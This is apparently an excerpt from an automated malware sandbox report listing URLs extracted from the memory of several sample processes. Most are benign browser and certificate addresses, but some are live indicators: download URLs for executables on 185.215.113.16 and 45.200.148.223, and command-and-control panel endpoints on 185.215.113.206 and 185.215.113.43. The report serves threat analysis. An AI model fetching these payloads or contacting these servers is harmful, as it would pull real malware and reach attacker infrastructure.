Source: file.exe, 00000004.00000003.1475372451.00000000014DA000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exeO
Source: 44f3ff7773.exe, 00000012.00000002.2562504183.0000000001343000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exee9
Source: 44f3ff7773.exe, 00000012.00000002.2562504183.0000000001343000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exeeE
Source: 44f3ff7773.exe, 00000012.00000002.2611102412.0000000005A32000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/off/def.exex
Source: skotes.exe, 0000000F.00000002.2549086102.000000000104B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exe
Source: skotes.exe, 0000000F.00000002.2549086102.000000000104B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/steam/random.exev
Source: skotes.exe, 0000000F.00000002.2549086102.000000000104B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/test/num.exe
Source: skotes.exe, 0000000F.00000002.2549086102.000000000104B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/test/num.exe74c61395d78
Source: skotes.exe, 0000000F.00000002.2549086102.000000000104B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/test/num.exe74cencoded
Source: skotes.exe, 0000000F.00000002.2549086102.000000000104B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/test/num.exe=k
Source: skotes.exe, 0000000F.00000002.2549086102.000000000104B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/test/num.exeP
Source: skotes.exe, 0000000F.00000002.2549086102.000000000104B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/test/num.exep
Source: skotes.exe, 0000000F.00000002.2549086102.000000000104B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/test/num.exeyk
Source: 44f3ff7773.exe, 00000012.00000002.2562504183.00000000012DC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/w$
Source: skotes.exe, 0000000F.00000002.2549086102.000000000104B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16/well/random.exe
Source: 44f3ff7773.exe, 00000012.00000002.2562504183.00000000012D0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.16:80/off/def.exe
Source: 0322d7d8d5.exe, 00000013.00000002.2456120986.0000000001683000.00000004.00000020.00020000.00000000.sdmp, 0322d7d8d5.exe, 00000013.00000002.2456120986.000000000163E000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000028.00000002.2546360919.00000000012BE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206
Source: 0322d7d8d5.exe, 00000013.00000002.2456120986.0000000001683000.00000004.00000020.00020000.00000000.sdmp, 0322d7d8d5.exe, 00000013.00000002.2456120986.0000000001698000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000028.00000002.2546360919.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000028.00000002.2546360919.0000000001306000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/
Source: num.exe, 00000028.00000002.2546360919.00000000012BE000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000028.00000002.2546360919.0000000001321000.00000004.00000020.00020000.00000000.sdmp, num.exe, 00000028.00000002.2546360919.0000000001306000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: num.exe, 00000028.00000002.2546360919.0000000001321000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php)
Source: 0322d7d8d5.exe, 00000013.00000002.2456120986.0000000001683000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php)5
Source: 0322d7d8d5.exe, 00000013.00000002.2456120986.0000000001698000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/
Source: num.exe, 00000028.00000002.2546360919.0000000001306000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php/H
Source: num.exe, 00000028.00000002.2546360919.00000000012BE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php=f(
Source: 0322d7d8d5.exe, 00000013.00000002.2456120986.00000000016B9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpFK
Source: num.exe, 00000028.00000002.2546360919.00000000012BE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpR
Source: num.exe, 00000028.00000002.2546360919.0000000001306000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php_
Source: num.exe, 00000028.00000002.2546360919.00000000012BE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpj
Source: 0322d7d8d5.exe, 00000013.00000002.2456120986.0000000001683000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpq5
Source: num.exe, 00000028.00000002.2546360919.0000000001306000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/:
Source: num.exe, 00000028.00000002.2546360919.0000000001306000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206/ta
Source: num.exe, 00000028.00000002.2546360919.00000000012BE000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.206u
Source: skotes.exe, 0000000F.00000002.2549086102.0000000001036000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000000F.00000002.2549086102.000000000104B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 0000000F.00000002.2549086102.0000000001036000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php=
Source: skotes.exe, 0000000F.00000002.2549086102.000000000104B000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpcv
Source: skotes.exe, 0000000F.00000002.2549086102.000000000102F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://45.200.148.223/XC.exe
Source: skotes.exe, 0000000F.00000002.2549086102.000000000102F000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://45.200.148.223/XC.exe5
Source: file.exe, 00000004.00000003.1350539812.0000000005DDD000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2387839630.0000000005A86000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000004.00000003.1350539812.0000000005DDD000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2387839630.0000000005A86000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: firefox.exe, 00000024.00000002.2850087323.0000019A65103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttp://poczta.interia.pl/mh/?mailto=%s_finalizeInter
Source: firefox.exe, 00000024.00000002.2590012290.0000019A63943000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: file.exe, 00000004.00000003.1350539812.0000000005DDD000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2387839630.0000000005A86000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000004.00000003.1350539812.0000000005DDD000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2387839630.0000000005A86000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000004.00000003.1350539812.0000000005DDD000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2387839630.0000000005A86000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000004.00000003.1350539812.0000000005DDD000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2387839630.0000000005A86000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000004.00000003.1350539812.0000000005DDD000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2387839630.0000000005A86000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 00000024.00000002.2590012290.0000019A63926000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 00000024.00000002.2590012290.0000019A63961000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/dates-and-times
Source: firefox.exe, 00000024.00000002.2590012290.0000019A63926000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 00000024.00000002.2590012290.0000019A63961000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/regular-expressions
Source: firefox.exe, 00000024.00000002.2590012290.0000019A63926000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 00000024.00000002.2565377326.0000019A58103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://exslt.org/stringsp
Source: firefox.exe, 00000024.00000002.2904865287.0000019A68C27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2904865287.0000019A68CAF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2904865287.0000019A68C7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2904865287.0000019A68C47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2904865287.0000019A68C5F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2904865287.0000019A68C97000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2904865287.0000019A68CB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2904865287.0000019A68C67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2904865287.0000019A68C8F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2904865287.0000019A68C37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2904865287.0000019A68C4F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2894099798.0000019A67A0D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2902540447.0000019A681F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2878290296.0000019A677C0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F0F000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: file.exe, 00000004.00000003.1350539812.0000000005DDD000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2387839630.0000000005A86000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000004.00000003.1350539812.0000000005DDD000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2387839630.0000000005A86000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: firefox.exe, 00000024.00000002.2850087323.0000019A65103000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 00000024.00000002.2590012290.0000019A63943000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: XC.exe, 00000011.00000002.2549783166.0000000003131000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: firefox.exe, 00000024.00000002.2850087323.0000019A65103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/DeferredTask.sys.mjsresource://gr
Source: firefox.exe, 00000024.00000002.2590012290.0000019A63943000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 00000024.00000002.2850087323.0000019A65103000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 00000024.00000002.2590012290.0000019A63943000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64324000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2899868781.0000019A67F3A000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 00000024.00000002.2728492933.0000019A643B0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulopenPreferences/internalPrefCategoryNam
Source: file.exe, 00000004.00000003.1350539812.0000000005DDD000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2387839630.0000000005A86000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000004.00000003.1350539812.0000000005DDD000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2387839630.0000000005A86000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 00000024.00000003.2525375754.0000019A67A7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2904725112.0000019A68B30000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000003.2521827105.0000019A67A24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2523353527.0000019A67A61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2522197584.0000019A67A42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2521341428.0000019A67C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.duckduckgo.com/ac/INHIBIT_PERSISTENT_CACHINGget
Source: file.exe, 00000004.00000003.1321864619.0000000005D17000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2354950442.0000000005A7B000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2355013577.0000000005A79000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2355169120.0000000005A79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 00000024.00000002.2563421831.0000019A57E29000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://accounts.google.com/v3/signin/challenge/pwd--no-default-browser-check--disable-popup-blockin
Source: firefox.exe, 00000024.00000002.2736887004.0000019A64F37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2870587882.0000019A655E6000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://addons.mozilla.orgbrowser.handlers.migrationshttps://truecolors.firefox.comwidget.use-xdg-de
Source: firefox.exe, 00000024.00000002.2728492933.0000019A64303000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F75000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://amazon.com
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 00000024.00000002.2565377326.0000019A58111000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: firefox.exe, 00000024.00000002.2590012290.0000019A639AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2550351962.00000297E9EC8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: firefox.exe, 00000024.00000002.2590012290.0000019A639AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F75000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2550351962.00000297E9EC8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: firefox.exe, 00000024.00000002.2897364373.0000019A67D8C000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mo
Source: firefox.exe, 00000024.00000002.2728492933.0000019A643B0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180
Source: firefox.exe, 00000024.00000002.2728492933.0000019A643B0000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1238180Required
Source: file.exe, 00000004.00000003.1321864619.0000000005D17000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2354950442.0000000005A7B000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2355013577.0000000005A79000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2355169120.0000000005A79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000004.00000003.1321864619.0000000005D17000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2354950442.0000000005A7B000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2355013577.0000000005A79000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2355169120.0000000005A79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000004.00000003.1321864619.0000000005D17000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2354950442.0000000005A7B000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2355013577.0000000005A79000.00000004.00000800.00020000.00000000.sdmp, 44f3ff7773.exe, 00000012.00000003.2355169120.0000000005A79000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 00000024.00000003.2525375754.0000019A67A7F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2904725112.0000019A68B30000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000024.00000003.2521827105.0000019A67A24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2523353527.0000019A67A61000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2522197584.0000019A67A42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000003.2521341428.0000019A67C00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2728492933.0000019A64373000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 00000024.00000002.2870440983.0000019A65420000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 00000027.00000002.2556016875.00000297E9F00000.00000002.10000000.00040000.00000000.sdmp String found in binary or memory: https://content.cdn.mozilla.net
Source: firefox.exe, 00000024.00000002.2736887004.0000019A64F75000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.
Source: firefox.exe, 00000024.00000002.2590012290.0000019A639AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2870587882.0000019A6558A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000024.00000002.2736887004.0000019A64F37000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000027.00000002.2550351962.00000297E9EC8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
